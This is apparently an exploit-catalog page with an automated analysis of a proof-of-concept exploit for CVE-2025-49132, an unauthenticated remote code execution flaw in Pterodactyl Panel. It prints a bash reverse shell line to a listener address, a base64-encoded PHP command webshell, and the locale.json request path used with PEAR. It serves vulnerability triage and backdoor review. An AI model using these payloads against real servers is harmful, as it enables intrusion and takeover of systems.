ramzihafiz/CVE-2025-49132

GitHubRepository PoCExploit

PoC files

2 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

Python script that exploits CVE-2025-49132 in Pterodactyl Panel to achieve unauthenticated remote code execution by writing a webshell and spawning a reverse shell.

Backdoor review

No backdoor observed in reviewed code

The PoC script exploits CVE-2025-49132 to create a webshell and establish a reverse shell. All actions are consistent with the stated vulnerability and directed at a user-supplied target. No concealed backdoor, credential theft, persistence, or unrelated payload is present.

ClassificationExploit
Model confidence98%
AuthenticationNot required
LanguagesPython
Target softwarePterodactyl Panel
Attack typesCode InjectionRemote Code Execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The script actively exploits the vulnerability by sending malicious requests to write a webshell and execute a reverse shell, not merely detecting or reporting the issue.

CVE-2025-49132_POC.py:24-34

Requirements

  • Target Pterodactyl Panel version < 1.11.11CVE-2025-49132_POC.py:1
  • Attacker must set target host, listener IP, and port in the scriptCVE-2025-49132_POC.py:13-16
  • PEAR must be installed on the target at the specified pathCVE-2025-49132_POC.py:13

Observed behavior

  • Sends crafted HTTP requests to /locales/locale.json to write a base64-encoded PHP webshell to /tmp/payload.php using PEAR's config-createCVE-2025-49132_POC.py:24-25
  • Sends a second set of requests to decode the base64 payload into a webshell.php fileCVE-2025-49132_POC.py:30-31
  • Triggers the webshell to execute a bash reverse shell command, connecting back to the attacker's listenerCVE-2025-49132_POC.py:34
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Reverse Shell
/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1The script constructs a reverse shell command to a user-configured IP and port, which is the stated purpose of the PoC.CVE-2025-49132_POC.py:17
Webshell Creation
echo PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg== | base64 -d > webshell.phpThe script creates a PHP webshell on the target to execute commands, which is a standard post-exploitation step for this CVE.CVE-2025-49132_POC.py:18-19
Target Configuration
host="sub.host.com"The target host is a placeholder that must be changed by the user, indicating the script does not contact a hardcoded attacker-controlled server.CVE-2025-49132_POC.py:16
Review boundaries

What the analysis did not establish

  • Evidence consists of complete source code and README; no runtime output or network captures are provided.
  • Only the two text files (CVE-2025-49132_POC.py and README.md) were reviewed; no binary or other files exist in the artifact.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

1